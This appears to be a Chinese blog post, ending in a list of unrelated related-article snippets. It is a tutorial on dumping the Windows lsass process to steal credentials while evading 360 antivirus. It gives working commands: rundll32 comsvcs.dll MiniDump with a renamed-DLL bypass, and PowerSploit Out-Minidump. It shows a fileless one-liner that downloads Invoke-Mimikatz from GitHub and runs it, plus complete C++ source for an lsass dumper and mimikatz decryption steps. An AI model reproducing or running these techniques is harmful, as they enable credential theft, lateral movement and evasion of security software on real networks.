在内网渗透进行横向移动和权限提升时,最常用的方法是通过dump进程lsass.exe,从中获得明文口令或者hash。lsass.exe(Local Security Authority Subsystem Service)是一个系统进程,用于微软Windows系统的安全机制,它用于本地安全和登陆策略。在进程空间中,存有着机器的域、本地用户名和密码等重要信息。但是需要首先获得一个高的权限才能对其进行访问。

在存在杀软防护的情况下,要想转储lsass进程,我首先想到的是procdump+Mimikatz 的方式来绕过杀软,因为Procdump工具是微软自家的,不会引起报毒。但是我在实际测试中发现,这种思路还是会被360安全卫士拦截。

下面几个分享几个我学习到的绕过杀软转储lsass方式,目前亲测可过360安全卫士,别的杀软我还没有具体测试。下边分享的代码和工具虽然多种多样,但是本质上都是用到了debugprivilege和MiniDump。杀软对API的监控不严格导致出现了安全问题。

使用系统内置功能绕过杀软

comsvcs.dll,系统自带。通过comsvcs.dll的导出函数MiniDump实现dump内存。

在dump指定进程内存文件时,需要开启SeDebugPrivilege权限。管理员权限的cmd下,默认支持SeDebugPrivilege权限,但是状态为Disabled禁用状态

如果直接在cmd下执行rundll32的命令尝试dump指定进程内存文件的话,由于无法开启SeDebugPrivilege权限,会dump失败。

解决方式:

管理员权限的powershell下,默认支持SeDebugPrivilege权限,并且状态为已启用。

首先查看lsass.exe进程PID:

tasklist | findstr lsass.exe

命令格式:

rundll32.exe comsvcs.dll MiniDump full

此处为:

rundll32.exe comsvcs.dll MiniDump 508 c:\windows\temp full

直接运行会被拦截:

简单的绕过思路:

copy一下comsvcs.dll并命名为随意名字,例如test.dll

copy C:\windows\System32\comsvcs.dll test.dll
rundll32.exe test.dll, MiniDump 508 lsass.dmp full

成功转储了lsass

下载到本地解密。这里有个坑点

我下载到本地后,解密失败。一开始以为保存的时候没有保存全,又试了几次还是没有解密。

经过查询资料得知,是新版的mimikatz和win10 1809版本之间的问题导致解密失败。详见https://githubmemory.com/repo/gentilkiwi/mimikatz/issues/354

换用mimikatz 1809版就好了。

成功解密。

二、powershell脚本 Out-MiniDump.ps1

使用PowerSploit 的Out-MiniDump模块,PowerSploit是一个基于 Powershell 的渗透工具包,可以选择创建进程的完整内存转储。工具连接:https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Out-Minidump.ps1

Import-Module Out-MiniDump 导入

Get-Process lsass | Out-Minidump 执行

解密

使用ps版mimikatz
工具地址:https://github.com/fir3d0g/mimidogz

在执行powershell脚本的时候,常常采用

powershell “IEX (New-Object Net.WebClient).DownloadString (‘https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1’);Invoke-Mimikatz”

远程加载的方式,达到文件不落地来更好的规避检测的目的,但是如果目标机器网络环境不允许的话,那就直接把ps1上传到目标机器来运行。

应用程序

#include <windows.h>
#include <DbgHelp.h>
#include <iostream>
#include <TlHelp32.h>#pragma comment ( lib, "dbghelp.lib" )using namespace std;#define INFO_BUFFER_SIZE 32767std::wstring s2ws(const std::string& s)
{int len;int slength = (int)s.length() + 1;len = MultiByteToWideChar(CP_ACP, 0, s.c_str(), slength, 0, 0);wchar_t* buf = new wchar_t[len];MultiByteToWideChar(CP_ACP, 0, s.c_str(), slength, buf, len);std::wstring r(buf);delete[] buf;return r;
}
// 提升权限为 debug
bool EnableDebugPrivilege()
{HANDLE hToken;LUID sedebugnameValue;TOKEN_PRIVILEGES tkp;if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)){return   FALSE;}if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &sedebugnameValue)) //修改进程权限{CloseHandle(hToken);return false;}tkp.PrivilegeCount = 1;tkp.Privileges[0].Luid = sedebugnameValue;tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;if (!AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof(tkp), NULL, NULL)) //通知系统修改进程权限{CloseHandle(hToken);return false;}return true;
}int main() {char filename[INFO_BUFFER_SIZE];char infoBuf[INFO_BUFFER_SIZE];DWORD  bufCharCount = INFO_BUFFER_SIZE;GetComputerNameA(infoBuf, &bufCharCount);strcpy_s(filename, infoBuf);strcat_s(filename, "-");strcat_s(filename, "lsass.dmp");DWORD lsassPID = 0;HANDLE lsassHandle = NULL;HANDLE outFile = CreateFileA(filename, GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);PROCESSENTRY32 processEntry = {};  // 拍摄快照时驻留在系统地址空间里的进程列表结构体processEntry.dwSize = sizeof(PROCESSENTRY32);   //结构大小LPCWSTR processName = L"";  //进程名if (Process32First(snapshot, &processEntry)) {  //检索快照中第一个进程的信息while (_wcsicmp(processName, L"lsass.exe") != 0) {  //循环检索快照中的进程Process32Next(snapshot, &processEntry);processName = processEntry.szExeFile;   // 获取当前进程的进程名lsassPID = processEntry.th32ProcessID;}wcout << "[+] Got lsass.exe PID: " << lsassPID << endl;}if (EnableDebugPrivilege() == false){printf("enable %d", GetLastError());}EnableDebugPrivilege();lsassHandle = OpenProcess(PROCESS_ALL_ACCESS, 0, lsassPID); // 根据 Pid 打开 lsass.exe 进程,获取句柄BOOL isDumped = MiniDumpWriteDump(lsassHandle, lsassPID, outFile, MiniDumpWithFullMemory, NULL, NULL, NULL); //转储lsass,写入outfileif (isDumped) {cout << "[+] Save To " << filename << endl;cout << "[+] lsass dumped successfully!" << endl;}return 0;
}

上边的代码来源是吐司https://www.t00ls.net/viewthread.php?tid=54000&extra=&page=1

是我学习此知识点过程中遇到的考虑最完善的代码,他的代码相比较其他师傅的代码考虑了更多情况,比如说为了避免权限不足打不开lsass进程而导致dmp文件为空的情况,新增了提权函数加以验证。

程序运行分为以下几步:

1.提升权限。因为lsass进程的权限为system权限,所以想要对其操作首先要提升自身进程权限为debug权限。

2.对所有进程拍摄快照,然后循环检索lsass进程id

3.将lsass内存的快照进行转储,并写入文件

将代码编译成exe,运行看一下效果

成功转储。

放到装有360安全卫士的目标机器上运行,目标机器为win 2008 R2 64位系统

运行提示缺少dll,下载对应dll移动到c:/windows/system32目录下

重新运行exe程序

成功转储。

使用mimikatz解密成功。

几种免杀转储lsass进程的技巧相关推荐

  1. 木马免杀之汇编花指令技巧

    木马免杀之汇编花指令技巧 作者: 逆流风(发表于<黑客X档案>07.07,转载注明出处)        相信很多朋友都做过木马免杀,早期的免杀都是加壳和改特征码,现在免杀技术已经发展到花指 ...

  2. 红队培训班作业 | 五种免杀bypass火绒360姿势横向测评:哪款更适合你?

    文章来源|MS08067 红队培训班第12节课作业 本文作者:某学员A(红队培训班1期学员) 按老师要求尝试完成布置的作业如下: 一.远程线程注入 (一)通过MSF生成payload 通过msfven ...

  3. 远控免杀专题(29)-C#加载shellcode免杀-5种方式(VT免杀率8-70)

    0x00 免杀能力一览表 几点说明: 1.表中标识 √ 说明相应杀毒软件未检测出病毒,也就是代表了Bypass. 2.为了更好的对比效果,大部分测试payload均使用msf的windows/mete ...

  4. 免杀方法(一)mimikazta

    Mimikazta是一款能够从Windows认证(LSASS)的进程中获取内存,并且获取 明文密码和NTLM哈希值的工具,攻击者可以借此漫游内网.也可以通过明文 密码或者传递hash值来提权.因为这款 ...

  5. Mimikatz源码免杀

    目录 介绍 环境准备 处理报错 生成32位 生成64位 下载360.360杀毒 直接查杀 关键字替换-失败 去除注释,修改版本信息 删除注释信息 替换图标 修改版本信息 重新编译文件 过杀软 360家 ...

  6. 远控免杀专题 14 ---AVIator

    0x01 免杀能力一览表 几点说明: 1.上表中标识 √ 说明相应杀毒软件未检测出病毒,也就是代表了Bypass. 2.为了更好的对比效果,大部分测试payload均使用msf的windows/met ...

  7. MSF后门生成及免杀思想

    MSF后门生成及免杀思想 免杀概念 杀毒软件检测方式 杀毒软件主动防御 免杀技术介绍 修改特征码 花指令免杀 内存免杀 加壳免杀 二次编译 资源修改 MSF常用命令 常见的木马生成 常见后门生成方式 ...

  8. 远控免杀专题文章(1)-基础篇

    脉搏文库 TideSec [](javascript:void(0)) 2020-02-20 6,218 *前**言* 一直是从事web安全多一些,对waf绕过还稍微有些研究,但是对远控免杀的认知还大 ...

  9. shellCode免杀技巧

    目录 一.免杀简述 二.免杀方法 1.shellcode反转bypass 2.shellcode异或bypass 3.远程加载shellcode bypass 4.进程注入 5.未导出api bypa ...

  10. 远控免杀从入门到实践(1):基础篇

    郑重声明 1.文中所涉及的技术.思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担! 2.文中提到的杀软检测指标是 virustotal.com(简称 ...

最新文章

  1. [BZOJ3668][Noi2014]起床困难综合症 贪心
  2. Linux 服务器高并发调优实战
  3. ORACLE强大的令人发指
  4. java过滤器的原理_Java 三大器之过滤器(Filter)工作原理
  5. jzoj1370-飞船【RMQ初见】
  6. 汇编jnl_汇编指令集
  7. java 异步_聊聊java高并发系统之异步非阻塞
  8. AcWing292.炮兵阵地(状压DP)题解
  9. 传统MVP用在项目中是真的方便还是累赘?
  10. 【漫画】程序员永远修不好的Bug——情人节
  11. android studio 包重复
  12. Ignite-初识Ignite
  13. Oracle 实现小计、合计
  14. 业余时间研究了下微信小程序版的街机游戏模拟器,8090后的童年回忆啊
  15. 数据分析pandas使用
  16. 移动测试工程师必须知道的10个开源框架
  17. tf2 + keras学习
  18. select2中文选项通过拼音或者首字母快速定位选项
  19. python mock patch_偷梁换柱:使用mock.patch辅助python单元测试
  20. 一次解决你的图像尺寸和定位问题。

热门文章

  1. 淘客APP开发定制系统推荐
  2. 西门子V20变频器Modbus通信的配置和报文
  3. TikTok和抖音差别大吗?
  4. MBA-day12 逻辑学-关系判断
  5. ARCore-普及篇
  6. 好看的字体—方正粗倩
  7. PIN/PAD Design in SoC - 1 (待续)
  8. 购物直播APP系统+短视频系统开发方案
  9. 如何理解原码一位乘法的计算过程
  10. 正则方程推导(转载)